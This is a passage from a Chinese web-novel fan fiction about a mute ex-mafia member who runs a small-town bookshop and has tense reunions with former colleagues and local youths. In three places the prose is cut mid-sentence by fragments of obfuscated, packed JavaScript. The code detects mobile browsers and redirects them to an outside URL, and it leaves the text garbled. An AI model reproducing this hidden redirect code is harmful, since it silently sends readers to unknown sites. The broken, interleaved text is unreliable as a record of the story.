像他们这样一般不需要回国汇报部门事务的下级,对太宰治几乎一无所知——只知道在那件事发生的半年之前,本部有个“新任干部”。 前首领怎么会死。 现首领是怎么上位的? 在欧洲分部兢兢业业工作的他们像消息不流通的史前野人,本部传来的每个消息都让他们怀疑真实性。 中原干部临时回国,带走了弥津大人和一小部分人手,还命令水落在他不在的这段时间,代替他的职权,暂时拥有欧洲分部各项事务的决定权。 归期不定。 结果,一个不定,就变成了“不归”。 就和前首领的逝世一样,让人怀疑是不是联络通道被劫持,所以传来一堆假消息。 幸好那段让人吃饭都难以下咽的郁闷日子已经翻篇了。 他把检查过安全无误的药盒放回药箱里,按服用数量分开排好,重新注意起那群少年们和弥津大人的对话。 庆祝会,是什么的庆祝会? 镜优自以为询问的语气并无不妥,但少年们的脸色瞬间变了,迟疑又不乐意。 弥津大人朝他投来了视线,意思是……待会儿他们两个人私下聊。得到默许,他立刻打发这些让他毫无沟通意愿的学生。 “刚从医院回来需要休息。你们有其他事,之后再来吧。” “病人”的各项状态都正常。 但只是找理由送客而已。嗓子没受伤之前的佐久间弥津也很擅长这个,在他身边多年的下级光凭耳濡目染就能学到不少。 时值傍晚,晚餐时间。 一周,足够一个任务经验丰富的黑手党成员对这座偏远小城知更知底。之前,以及现在,镜优都在干这种活。 灯火通明的大型商业街区,比书店所在的商店街更显市侩,也更为成熟。 “弥津大人,你很久没请我吃饭了。” 佐久间弥津对优的话不可置否,没去细思“前下级”说这种话有何用意。 在欧洲分部的时候,日夜颠倒,三餐不规律是常事。就算有一段时间的休息期,成员们也几乎都会先呆在自己的家——或者说别的什么地方,总之是至少有一张单人床的个人住所,久久地睡一觉,尽量弥补亏空的精力。 有些人更愿意呆在国内本部,但也有人更喜欢欧洲部门的别样“自由”。森先生……前首领在世时,欧洲分部就是这样子。和国内本部以总部大楼为中心的工作方式不一样,近乎一半的成员常常要和只会外语的外国人打交道,常驻在欧洲部门总部的成员对外的工作少一些,但增加了对内的工作时间。 “你上次请我吃饭也是在烤肉店。”镜优提醒道。 佐久间弥津点头。不仅如此,他第一次请优吃饭也是烤肉店。 他不是对烤肉这种食物情有独钟,而是因为烤肉很难会让人脱口而出“难吃”一词。 端上桌的是一盘又一盘的生肉,肉质好坏是能看出来的,食材质量堪忧的烤肉店,是活不了多久的。烤肉店和书店不一样,如果不为赚钱,为什么要开烤肉店;如果为赚钱,为什么要给顾客提供垃圾食材以断绝自己的后路。 为了省去挑剔食材这一费时费力的环节,定聚餐地点的人不会在乎价格高低。 而且,烤肉也是适合几人一起聊天以度过饭点的好选择。可惜他的嗓子变成这样,只能先听别人聊了。 国内外的烤肉店多有不同,烤肉的方式,点单的方式,但也不会让人看不懂。 “所以,我请染崎吃饭,也经常在烤肉店。” 奇怪的默契增加了。 烤肉店里人声喧闹,有上下两层,他们选择了二楼最角落的位置,稍微安静些。暂时要和酒告别的佐久间弥津沉默地接过优特意递来的果汁。 连冰都不加?医生可没说让他彻底戒冰饮。 然而佐久间弥津阻止无果,镜优又对自己的“前上司”聊起之前在本部的见闻。 “那个被现首领带回来的小鬼,今年也才十五六岁……最多不超过十七岁。” 是异能力者? 镜优的表情难掩一言难尽。 “是。但是中原干部对那个小鬼不满意,也不信任。”而且,以他的观察来看,那个小鬼还不能很好地控制自己的异能力和……“意识”?可以这么说吗?他觉得那个小鬼怪怪的,眼神怪,心思也怪。 那种无论是经验还是心理年龄都相当稚嫩的异能力者,首领为什么要带回组织,还带在身边。 是为了让中原干部有个吐槽的对象? 虽然他只在本部呆了半年,但在中原干部身边帮忙的他倒是最有发言权的人之一。 “据说现首领和中原干部以前的关系像水火不容,又像还不错——在森首领活着的时候。现在变成了上下级,中原干部就算有不满的地方,也要顾忌不少东西。” 最高干部也难做呢。 佐久间弥津手边杯中的果汁不足一半,镜优的讲述才告一段落。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519373|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【名字】 “‘中岛敦’,是个孤儿。真正的来历,只有太宰治自己知道。” 佐久间弥津从口袋里掏出新开封的喷雾,张嘴对着口腔摁下。药剂的难言味道立刻在口腔里四散开来,像是洗刷过每一个细胞,直击大脑中枢。 他闭上嘴,迎接这片刻的折磨。 玻璃杯映出天花板上悬挂的方形吊灯。他灌了一口果汁,压下那股凭借意志力才得以抗衡的药味。 在镜优眼里,这座城镇的情况连“本地帮派的纠葛”都算不上。 一些不成熟的小鬼而已。 “你有——用‘实际行动’帮他们吗?” 佐久间弥津在心里衡量完那一天的举动,摇了摇头。 那不算帮忙,顶多只是保证没人在那场混乱中身亡。顺便让水落实弹检查那把狙击枪……但说实话,他用不着狙击枪。 【水落恰好那天也在】 镜优抨击起现上司来毫不留情。 “他没对你说把双方都干掉的提议吗?那种沉不住气的暴躁家伙一定会那么想。” 但那家伙和弥津大人合作的话,的确能干出惊天动地的事。他没办法反驳这条铁律,哪怕弥津大人已经“离开”了组织。 晚上八九点,烤肉店里依旧人声鼎沸。 看出弥津大人没有太多回忆往昔的意思,镜优把话题牵到染崎身上。“如果她知道我来找过你,她一定也想来。” 在加入组织前,染崎是个国中三年级辍学的宅女,是非常稀有的技术宅。组织为她提供了工作室场地,和以一个辍学中学生的财力根本买不起的设备,有个三十五岁年纪的中层成员愿意自己掏钱让去到欧洲部门的染崎继续学业,理由是“这个少女和我的儿女一个年龄”。 是染崎自己拒绝了,她大概再也不会回学校上学了。 黑手党组织不是慈善机构,也不是异能力者们过家家。染崎要想办法展现自己作为异能力者的潜力,才能在组织里生活下去。 显而易见的,作为异能力者的染崎实力并不出彩。和她的蛇共享视觉后的染崎就像一个呆若木鸡的活人靶。 弥津大人当年还没到与水落望音平分秋色的程度,在染崎的去留上,只能提建议,而不是下决定。幸好中原干部是个认真负责的人,愿意在事情不忙的时候,倾听下属的意见。 “黑手党组织……不,各种各样的组织,都不乏天才。”弥津大人看着从装备部抱着文件回到办公室的少女,轻声对他说,“天才会被埋没,才是这个世界最可怕的地方。” “你也是天才。”他说道。 他记得弥津大人那时候摇头否认,后面又说了什么,他记不太清了。 和他一样,染崎心里也蠢蠢欲动,但染崎毕竟没他这么“自由”。 被睁大的蛇瞳和人眼一起静静地盯着,水落望音只能沉默着承受这股无形的压力,反倒比当面呛声或是阴阳怪气更让水落望音浑身难受。 哪怕染崎说点什么,水落望音都不会那么备受折磨。 这一点他当笑话看。 染崎在组织里没有同龄的朋友,比她大的人把她当小孩看,比她小的人不知道她是谁。尤其是新成员。染崎不止一次半夜从工作室出门找饭吃,走廊里摇晃的人影把不认识她的新人吓得够呛。 【让她每天早点睡】 废寝忘食地研究图纸、检阅设备,即使染崎依旧年轻得让人容易轻视休息不足的问题,也不能仗着年纪小就对身体一点都不关心。 镜优表示他尽力,“但她有自己的生物钟。” 佐久间弥津思索一会。 【我会拜托水落命令她早点休息的】 【还有,你也是】 镜优摘掉在室内戴起来很突兀的墨镜,直视那双眼瞳,好似花园里连片盛开着的玫瑰。 欧洲部门不能出现内部分裂的嫌疑。你对水落有太多意见,只要不影响执行任务,他可以睁一只眼闭一只眼,但别人会误会。 不要给中也先生添麻烦,你说的那些情况,都透露了中也先生不会再回欧洲部门的味道。做好最坏的准备吧。 也不要让现首领意识到欧洲部门的虚假危机。你宁愿欧洲部门被现首领严加管理,还是宁愿水落望音当你的上司。 如果被不了解的成员误以为因为中也先生和我的离开,导致上级成员之间出现尖锐的矛盾,欧洲部门未来的发展形势会出问题。 太任性的话,会带来很多不好的事。 佐久间弥津揉了揉闷痛的额头,戴回墨镜的镜优也眨了眨眼,缓解眼睛的干涩。 “……是。” 18. 战绩可查的都市传说 “别来无恙啊,佐久间大人。” 熄灭嘴里叼着的烟,栗发青年挂起一副殷勤的面孔,迎上前去。 做不到说话回应的青年神色淡淡地轻轻点头。 “没想过去做手术吗?那至少能让你说话——虽然没办法流畅地说。”鸿上律故作轻松地提到身边青年的情况。 很久未见的人用摇头的动作来回答他。 这位大人离开组织的事可是把他吓了一跳。如果不是这次水落安排他跟着凉宫优回国,他觉得自己这辈子都不会再见到佐久间弥津了。 曾经凭借自己出神入化的能力震惊整个部门,最后却因为自己一时心软迎来凄惨的落幕。 只看那副再也不能恢复正常的嗓子,还真是令人唏嘘。 佐久间弥津自己倒没有被影响多少。在组织的最后一段时间,依旧正常执行任务,管理人员,像没事人。 正因如此,他们谁也没看出佐久间弥津有离开组织的想法。 为表敬意,他掐灭了自己刚点燃没几秒钟的烟——即使面对的是一个已经离开组织的人。 但让他说,他会觉得这是一个信号。佐久间弥津愿意见他们这些“老同事”,就意味着他还没有下定决心和组织一刀两断。所谓的“看病”,谁在乎是真是假呢,像他,他就完全不关心。没准过段时间,他真的会听到让凉宫优那小子兴奋的信息,比如,佐久间弥津回归了横滨本部,之类的。 示意其他人在一楼等待,他和佐久间弥津同乘电梯到达诊疗室所在的楼层。不高,几层,很快就到了。 他身边青年的手速比电梯还快。 【不该这么兴师动众】 在电梯到达,门即将打开前,这一行字已经通过一串在手机屏幕上滚动的字幕展示给他了。 他先一步跨出电梯,侧身转向收了手机,默不作声目视前方的青年。 见到他的身影,守在走廊上的几人立时无声撤退。 “我们这样的下级只知道听从命令行事,上司是怎么想的,我也不太明白。” 把问题甩回给要求这样安排的水落,他功成身退。 病人的病情一律属于隐私,更何况是佐久间弥津的病情,水落可没让他把病情反馈到自己面前。看来水落对此不怎么在乎,其实这也难怪,他提前查过了,佐久间弥津的情况,大不了之后遵医嘱做手术,没有多让人绝望。 佐久间弥津本人对做手术再怎样抵触,到了迫不得已的时候,也会主动去做的,他们这些普通的“前同事”急什么。 他笑呵呵地送青年进了诊疗室,转身跑去无人的卫生间重新点了一根烟。 佐久间弥津没办法闻烟味。 他不是佐久间弥津的同级,没做过他的直属下级,但知道此人不是斤斤计较之人。 不过,为了今天的见面,他来医院前毅然换了一身刚拆掉吊牌的新衣服,免得节外生枝。 是有两年没见,但该有的敬意还是该表示的,哪天水落突然让他接佐久间弥津回欧洲部门,他都不会意外。 凉宫优被允许回国呆几天,要干的事只有一个,那就是劝佐久间弥津看医生。 现在,佐久间弥津的病已经看完了。 一想到回程也要盯着那个家伙,他刚才点烟的动作都僵硬了。 他朝着佐久间弥津手里的药箱伸手。 “……不用。” 这道嘶哑的嗓音瞬间再次唤起他关于佐久间弥津的所有联想。 那起震惊整个欧洲部门的“清洗事件”是佐久间弥津一个人干的,在下着瓢泼大雨的恶劣天气里。 对手没想到那时候有奇袭,还没决定放手一搏的组织内部对那时尚未担任干部副手的佐久间弥津也并没有抱有太大希望。 在第一滴雨水降落前,佐久间弥津离开了总部,没人知道他会在什么时候执行任务。 据说,佐久间弥津“要求”那时担任欧洲部门负责人的家伙命令情报部无条件配合他。其他内情他不了解。他那时候和水落他们在别的分部出差。在实际见到第一面之前,一切都是道听途说, 佐久间弥津和水落不是一个类型的上司。但这两个人的关系不错,比他们这些下级之间的关系好多了。 说实话,他对佐久间弥津的下落不太关心。一个被中原干部允许离开组织的非直接上级,他哪来的理由去关心。 他和此人的密切交集仅有受伤的那段时间。大概十天,他奉命保护住院的佐久间弥津,直到他能清醒着离开医院。 在火场里吸入太多高温浓烟坏掉的嗓子是佐久间弥津为自己的仁慈付出的高额代价,没什么可辩解的。 如今站在他眼前的青年,身上的气质在离开组织之后似乎愈加平和。 但就是这样平静的人才最让人猝不及防。 就像现在,在这样的艳阳天,他踏进了水落叮嘱过他的“书店”。 店主不在,只有坐在椅子上盯着电脑屏幕放空大脑的凉宫优猛地站起来,墨镜差点被晃歪,大声质问他是不是有病。 “为了催我离开,你真是无所不用其及。” 你不知道究竟是谁有病吗?问来问去,多烦呢。“打扰前上司的新生活,你不觉得心里有愧?真是一位‘好下级’。” 昨天陪同“婉拒”过他同行的佐久间弥津来到这处不甚发达的小城,他给凉宫优宽限了一夜的时间。事办完了,他得回英国,而且必须押着凉宫优一起。 他露出似笑非笑的嘲弄神情,“你还回去吗?还是选择背叛组织,留在这里?为了辞职离开的佐久间先生叛逃,我个人认为十分不值。” 他的话就提醒到这了。他有种预感,佐久间弥津一定会回去,回到他们眼前。 摸上放满书的书架,他啧啧称奇。 原来这就是佐久间弥津离开组织之后在做的事。这种店能盈利吗?大概不能,和组织里那些具备公益性质的场所有点像。 佐久间弥津不如开个对市民免费开放的图书馆。 “他昨天回来,你昨天就应该离开。我都已经给你一晚上时间告别了。” 和凉宫优争吵其实没意思。 ——但他也没想过自己和凉宫优会被提着餐盒归来的佐久间弥津双双放倒。 停在他脑袋边上的是一双平底鞋,没有太多装饰和花纹,色彩也是很常见的黑色。 那位大人弯下腰,掐着他的下巴,把他的脑袋向上抬。偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519374|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头轻轻咳了两声,才又回过头来。那双玫红色的眼睛凝望着他,直让他哑口无言,忍不住在心里感慨。 这眼神应该在说,别吵了。 佐久间弥津好像天生就不会发脾气。 现在,那只掐着他下巴的手在简单的眼神威胁之后撒手,让他重新跌回地上。 他和同样境遇的凉宫优被分别扶到不同的椅子上。喉咙不便说话的青年不多作解释,坐回自己的椅子上,端起半满的水杯,就着温水服药。 电脑屏幕背对着他,他看不到佐久间弥津在电脑上操作了什么,但他有理由怀疑佐久间弥津在联系他的上司。 和他一样被佐久间弥津放倒的家伙侧头趴在桌上,盯着前上司看。 鸿上律呼了一口气,感受到力气渐渐回到麻得失去知觉的身体,再次问道,“佐久间大人,你不打算去做手术吗。” 做个手术就能找回一部分说话的权力,多好的“买卖”。 电脑屏幕后的青年摇了摇头,不计较他聊这种话题。抓过平板电脑打出一行字,把支架换了个方向,将平板电脑上的文字展示给他。 【什么时候走】 鸿上律动了动上身,从趴在桌上的姿势变成向后倚靠着木椅靠背,懒洋洋地说,“现在就走。有人快要等不及了。” 让凉宫优在国内多呆一分钟,都像有蚂蚁在水落身上爬。 书店内的氛围逐渐沉寂,双手离开键盘的佐久间弥津神情专注地盯着他们看不到的电脑屏幕,也不知在看什么。 片刻之后,佐久间弥津换掉了平板电脑上的文字。 【吃完午饭再走,我打包了两份】 他专门为随时可能离开的人带回来的午餐。 实在是盛情难却。少年们和街区的人们嬉笑打闹成一片,关系相当和谐。 梅宫邀请了很多人,附近的居民,帮过忙的狮子头连,还有其他帮派组织的人。借走的那本书,按理来说这周应该还,但兔耳山希望能再多匀出几日。 这当然没问题,谁让他就是店主。 但是一本书都没卖出去过的店主——以前给梅宫的书算送的。怪不得前几年中也先生从来不安排他去管理商业设施,哪怕只是临时接手。 原来他真的没这项能力。 梅宫很好地履行了自己的诺言,让他吃到了应季的番茄。现在正好是番茄成熟的时节,他见到了摘番茄的第一视角,还有些新鲜。 “既然是佐久间先生的话,我等自然会听……”鸿上律答道。 如果说是因为“佐久间先生的要求”才让他们的归程越拖越晚,水落是不会说什么的。但之后会不会继续和凉宫优针锋相对,他可说不上来。 刚才和他分别趴在两张圆桌上的凉宫优突然抬头,那双像头顶那轮烈日一样金灿灿的眼睛隔着墨镜镜片一动不动地瞪着他。 看什么,要在这里用异能力?别假威风了,他还不了解凉宫优这家伙吗。谁不知道佐久间弥津手里的人个顶个地听他本人的话,凉宫优更是其中的佼佼者。 但众所周知,信任度是一点一点涨起来的。 就像…… 就像他们对现首领的信任度其实刚处于及格线一样。 19. 赴约的都市传说 老板终于没酒喝了,想到这一点,樱遥心里十分痛快。原来去医院看病就能劝老板不喝酒啊……那他们以前小心翼翼,还怕老板厌烦的“劝酒”,到底算什么。 老板吃药的动作好潇洒。榆井秋彦把脸贴在玻璃上,去看青年手边的药。有好几种药啊,是在空腹吃吗?但有些药物是不能空腹吃的吧,老板吃之前有看过说明书吗? 佐久间先生果真不是“酗酒”之徒。有酗酒习惯的人,是绝对没办法轻易在几天之内改掉这种陋习的。 一玻璃之隔,少年们心中各有各的想法。 青年转过头来,扫了一眼站在门外和他面面相觑的少年们,脸上依旧没太多生动表情,平淡得好似一杯直饮水。 但他们都知道老板不是多么冷淡的性格。 炎热的夏日白昼有时候会让人心火难安。 他们快放假了。 今天过后,再回学校的日子,就是秋季学期开始的时候。但风铃还是风铃,不会因为风铃的学生放假,而置街区于不顾。他们都很喜欢风铃,住在这片街区的人们也是如此。 佐久间先生开始吃药了,这意味着,从来都是把酒当水喝的男人终于重视自己的病情了。 隔三差五的,少年们就会来到只有老板在的书店里。 有时候来帮忙打扫,即使老板经常摇头拒绝,但老板的拒绝从来都只有被忽略的份。 也有时候只是路过,顺便单方面聊两句。比如,今天的药有没有吃,是不是在玩新的游戏,书店里最近有没有来新的客人。 少年们对聊天技巧的掌握逐渐炉火纯青,单单需要老板点头或者摇头来回应。 不只是少年们觉得交流很顺畅,佐久间弥津本人也习惯了这种总有人进店的生活。 他意识到,目前还在读高中一年级的少年们正在度过上高中以来的,一段漫长又燥热的假期,就像这段时间的天气一样。 炎热憋闷的日子很快迎来连续不断的雨天。 透明的雨丝在天地间飘散。飘摇的雨落在曾经留下数不清脚印的地上,斑驳雨痕模糊了少年们前不久热心帮他擦干净的玻璃。 这几日,商店街上往来的人比平日里少了太多,他不想冒雨在住所和书店之间往来,近一周的时间,他都住在书店后面的小隔间。 商店街少不了餐馆,他的一日三餐没有被大雨影响。 附近有家咖啡馆,里面的女店员认识他。他是借给那位小姐一次雨伞……但他觉得,这应该不会让那位小姐知道他不方便讲话。 “雨天的话,我的建议是别出门哦。”橘琴叶说。 但青年在此刻带着一把纯黑色的雨伞进门,明明就是一副要去稍远些地方的意思。 她每次见青年,青年总是面无表情,但她却能发觉那并非冷漠,而是完美的平静。不会因为连续多日糟糕的天气而烦躁郁闷,也不会因为不得不在这种天气出门而对别人撒气——的平静。 青年点点头,橘琴叶也不知道他是什么意思。 青年带来的伞在桌边斜倚着,橘琴叶瞥了一眼,却发现内里的伞面居然是白色的。 外黑内白的雨伞?这样一想,虽然是再平常不过的配色,可实际上,很少有人会打这样奇特的伞吧。伞的骨架也是纯黑色,光看着便让人觉得十分硬朗且耐用。 “先生,你和他的关系不错吧……我是说,‘梅宫一’。” 佐久间弥津出门前,听到女性店员这么问。 他回过头,静静地看着这位年纪其实并不大的店员,坦诚地点头。 还不错,他觉得。是梅宫建议他把店开到这里的。梅宫的话确实没错,这片街区,比他之前呆的地方更适合经营不赚钱的书店。 “明年……我是说,他快要结束高中生活了。我想,他可能需要一些成年人的建议?” 梅宫吗?梅宫这个人,用不着他的建议吧。 比起同龄人,甚至成年人,梅宫在许多事上都已经做到了他能做到的最好。这样的人,无论未来走什么样的路,都会相当吸引人。就像一本正在连载中的高分漫画,每一页都在让人期待下一页。 但他还是对提起这个话题感到稍微有些尴尬的女性店员点了点头。 最近,他会上心的。 “谢谢,先生……现在雨越来越大了。” 橘琴叶想要劝书店老板等雨稍微小些了再出门。但青年还是出了门,走向了和书店相反的方向。那位老板要去做什么呢? 佐久间弥津自然不会回答橘琴叶心里的问题。不停敲打伞面的雨滴好似在催促他加快赴约的脚步。 他的每一个落脚点都要经过考虑,尽可能踩在没有太多积水的平坦处。在雨中行走,想不弄脏鞋是不可能的,可倘若鞋真的裹满脏水,又会让人看着颇为烦心。 他已经知道那封塞进书店的信是出自谁之手了。 住在隔间的夜里,他会把店门从内锁上。但在前天早晨,他趁着雨变小,去附近的店里解决早餐,回来便发现书店的地上躺着一封信。 信封里装着一小片从稿纸上随便撕下的纸片,还没有他的手掌大。纸片上的字迹不算端正秀丽,但能看懂。写明了时间——此时此刻,还有地点——他正身处门口的纹身店。 没说要做什么。 信封很干净,煞有介事的样子,内里的重点内容居然只用又小又不合乎情理的残破纸片。 分辨不出对方究竟是重视这场邀约还是不重视。 他在屋檐下收了伞,甩了甩,甩掉不少雨水,才转身进了店。 店里很冷清,大概也是被雨天影响了生意。有两个外表年龄差距不大的店员呆在大厅里,也许他们并不负责纹身的工作。大厅里以橙色为主的彩灯套组灯光调得很暗,刻意营造不一般的情调,但里面的纹身室灯光大亮,方便纹身师发挥。 他无视了带着殷勤笑容迎上前来的店员,推门进到了唯一一个人影绰绰的房间。 除了纹身师,另外两个人他都见过,哪怕只有一面。 所以,约他在这种地方见面有什么事。 “哎呀,老板,”多日不见,棪堂哉真斗仍然热情地朝银发青年打招呼,“我就知道你会来的。” 一定会来的。 纹身师好奇地瞧了客人的“友人”一眼,默不作声地坐着带滑轮的圆凳滑向另一边的桌子拿工具。 “看来你也没有那么立场坚定嘛。知道是我的邀请之后竟然还来赴约,那些家伙们知道一定会悲痛欲绝的——” 自己万分信任的老板居然去和曾经敌对的家伙私下见面什么的,想想就很振奋人心。 【有什么事】 老板不理睬他的话,展示给他的手机屏幕上,“有什么事”这句话像滚动弹幕一样不停地滚动播放。 但他还没想好怎么回答。他只是觉得和这个神秘的老板好久不见才玩笑一般发出这样的邀请。 发现放在他身上的视线转向了焚石,他自然而然地转移了话题,“那么,我来介绍一下……” 青年摇头。 没正事的话,他要走了。不需要介绍什么人给他,他没有与之相处的想法。 他原本以为棪堂或许会拿风铃的事来和他交涉。但他怎么能忘记这几人的本质并不是犯罪组织,不会干卑鄙之事……也许?他不了解这些人。 正在等纹身师回来的人情急之下伸手抓住老板的胳膊,“你胳膊上有纹身吧。” 老板穿短袖的时候他瞟到过。 老板没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519375|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否认,但也没有下一步,只是淡淡地看着他,容许他为自己的行为做解释。 “呃……让我的纹身师参考一下图案怎么样?” 棪堂哉真斗为自己灵机一动找出的挽留理由拍手叫好。 没说话的焚石矢则一直在打量这个男人。 这就是棪堂和他提过的“都市传说”? 那个家伙很强吗。 很强,深不可测。 棪堂的表情故弄玄虚,像是街边摆摊算塔罗牌的占卜师,只缺一件能罩住脑袋的袍子,就能把路过的行人唬住。 也让他想一拳揍上去。他那天的确这么做了。 焚石矢看着青年轻轻一挥就拂掉棪堂的手,棪堂竟然真的放开难得邀请而来的青年,趴在纹身工作台上,一声不吭,不继续为自己的行为狡辩,任凭青年转身离去。 顿时,他心中感到十分不妙。棪堂的反应怎么会这么古怪? 他迅速起身,快步走到棪堂身旁,抓着头发,把垂下的脑袋抬起来。要是以往,被他暴力对待的棪堂早该装模作样地胡言乱语了。 可他现在看到是却是一张双目紧闭的脸。棪堂似乎毫无征兆地昏迷了,就在方才的短短几秒内。 怎么可能呢? 他用力踹开挡在房间中心的设备,走近依旧背对着他们的纹身师。纹身师也弯着腰,趴在桌上,不知何时失去了意识,晕了过去,和棪堂的状态极其相似。 糟了。 没准是罪魁祸首的青年竟然就要冷漠地转身离开。 “站住,这是怎么回事?” 被棪堂喊来的青年侧过身,瞥了他一眼,却对他的话毫无反应。 一种几年未曾感受到的情绪瞬间涌上心头,挤占了他的视野,脑海中仅剩几行字命令他的身体开始行动。 要拦住他……无论这个男人做了什么,都一定要拦住他。 佐久间弥津从来不知道自己习以为常的待人态度会点燃一簇饱含充沛情绪的火。 拧动脚步侧身避开长发少年突然收劲但仍来势汹汹的拳头,他伸出胳膊,接住脱力倒下的人。像一根晾衣杆挂住一件刚洗完还湿漉漉的重衣服。 他这才看清原来长发少年脑后的头发是贴片式接发。少年身上的饰品很多,有链式的,也有环状的,晃动起来,闪着银光,还叮铃响。 他把身体麻痹的少年推回房间里的长沙发,那正是少年原本坐着的地方。 尚未完全失去意识的少年咬着牙,从身体瞬间穿过的电流带来的是让人难以忍受的麻痹和无力,疼痛倒还在其次。 佐久间弥津没打算继续留在这里。 他还是没能改掉过往的思维方式。这里不是横滨,也不是欧洲部门,接近他的人也不是敌人和卧底……是一群还没有犯下过不可饶恕恶行的,本该在读书年纪的人。 一阵断断续续的笑声从另一人口中流出,活像坏掉的老式磁带机。 “哎……老板,你真是个怪人。” 从昏迷中清醒过来的人保持着趴在桌上的动作没变,就以这样懒散却省力的姿势出声喊住已经握上门把的老板。 棪堂哉真斗充满恶意的笑声同样传到了焚石矢耳边,身体还不能完全恢复控制的人突然冷静下来。 “你是不是干过不得了的事?比如‘杀人’、‘抢银行’还有‘把人沉进东京湾’之类的。哎呀,不可能吧,那和你的气质不太像呢——” 老板的气质简直比电视上的明星还明星。 他们看到那双写满理智一次的红色眼瞳望向他们。不方便说话的青年轻轻点了点头,随后,我行我素地开门走了。 就这么离开了,留下对老板的反应感到疑惑的二人。 点头的意思是……? 20. 回忆上司的都市传说 得知佐久间弥津为了正常服药而把酒戒掉之后,梅宫一表面上一脸惋惜。 “这样啊。那么,你想不想培养新爱好?” 没人知道他在心底发出不为人知的笑声。 佐久间弥津站在天台边缘,俯瞰风铃高中的校园。 新的爱好?他没打算培养这种东西。 梅宫问他,他有没有怀念过自己的学生时代。他也摇摇头。用普通人的眼光来看,他的学历低得过分了。 “我有想过,就算到了我三十多岁,四十多岁的时候,人到中年,也会很怀念在风铃的日子。” 他理解,就像他还会经常想起组织里的同事和上司。午夜梦回,他也会借着窗外泄下银白月光的圆月,孤独地坐在客厅沙发上捋清烦乱的思绪。 今日,穿着常服的所谓风铃高中的“顶点”,站在他身旁,和他一起望着风铃高中的校园。在假期末尾中的校园并非空无一人,也有像梅宫一样闲来无事提前回学校呆着的学生。 梅宫挥着胳膊,冲着刚进校门的几人大声打招呼。 “在——天——台——哦——!” 梅宫爽朗的笑声在他耳边重复播放。 假期还没真正结束,提前回学校没必要穿校服。 偏偏有人这么干了,和一左一右的朋友在着装打扮上形成了鲜明对比。 梅宫精心照料许久的番茄早已成熟,在那次规模蛮大的庆祝会中用得所剩无几,也该想想秋冬之时如何运用好天台上的小农场了。 为此,杉下又被梅宫委托来他店里下单买书。 于是他表示,以后还需要书的话,直接拿走吧。 反正他不会问梅宫要书钱。 “我听说你终于卖掉一本书?”梅宫转头过来冲他哈哈笑。 ……还真算是卖掉一本。 那位性格活泼的金发少年在他店里找到了一本从好多方面专门介绍富士山的书。 名为兔耳山丁子的少年对富士山情有独钟,借走上一本书的理由,也是因为那本书里有关于富士山的记载。同行的另一名高个子少年则顺便借走一本小说。他没看过那本小说,但从书名来看……内容应该很朴实。他忘记了自己为什么当初要把那一本书写在货品名单上,也许正是因为那份在现代社会里十分难得的朴实无华。 他同样不会对这帮少年们收书钱。让他们把酒馆街里最好的店是哪家告诉他,用这条不可多得的“当地人”情报抵书钱。 他安静地听着梅宫絮絮叨叨,认真规划那一片小田地,直到通往天台的门被来人叩响。 【你以后想去什么地方】 “我吗?没去过的地方,其实我都想去看看。佐久间先生,你说的……” 梅宫一从未怀疑过身边的青年。 无论佐久间弥津先生以前从事什么职业,又曾经做过什么,迄今为止,身为外来者的佐久间先生从未做过危害这座城镇的事,甚至以自己独特的方式付出过。他没有理由怀疑一位能力那般奇特的人。 若是佐久间先生当真另有打算,大可不对他提起自己和那两人见面的事。 但佐久间先生这么做了。目的当然是和他探讨那两人和风铃的关系未来将走向何处。 他说,“不用再担心了。” 关于那一切,关于过去的两年,解铃还须系铃人。答案在拳头上,也在心里。他想知道,佐久间先生和焚石还有棪堂哉真斗之间发生了什么。 青年转过头来,眼神分明在询问—— 你真的想知道吗。 “嗯,很想哦。” 他想知道佐久间先生作为“都市传说”,是如何—— 一阵轻风吹过,天台上站着的人却少了一个。 苏枋隼飞礼节性敲门之后推开虚掩着的门,三人或温和或恼火或忧虑的心情同时变得大为不解。 方才刚一进校门,他就听到了梅宫哥的喊声。 顺着那道声音仰头,他看到了站在梅宫哥身边,整个假期他都没太多机会见到的佐久间先生。一连那么多天没酒喝,只能按时吃药的佐久间先生没准嗓子会比之前好些。 浅蓝色的薄T恤衫,还有一件同色系但更浅的外套,站在天台吹风的佐久间先生已经穿上了长袖外衣。 佐久间先生的穿衣风格还是很偏向纯色和素雅的颜色。 可现在是怎么回事。 他和身边的朋友面面相觑,不明白为什么在他们上楼的这段时间,梅宫哥突然倒下了。 而且佐久间先生没有去扶的意思,视线从他们几人身上扫过,又带着他一时看不懂的居高临下低头凝视着平躺在自己脚边的人。 难道说梅宫哥不小心踩到石头滑到、被电线绊倒什么的……这可能吗? 梅宫一喘了口气,从半边身体的麻痹中缓过神来。 但这种事,还是对那几个少年们瞒着吧,“我不小心踩到鞋带了哈哈哈。” 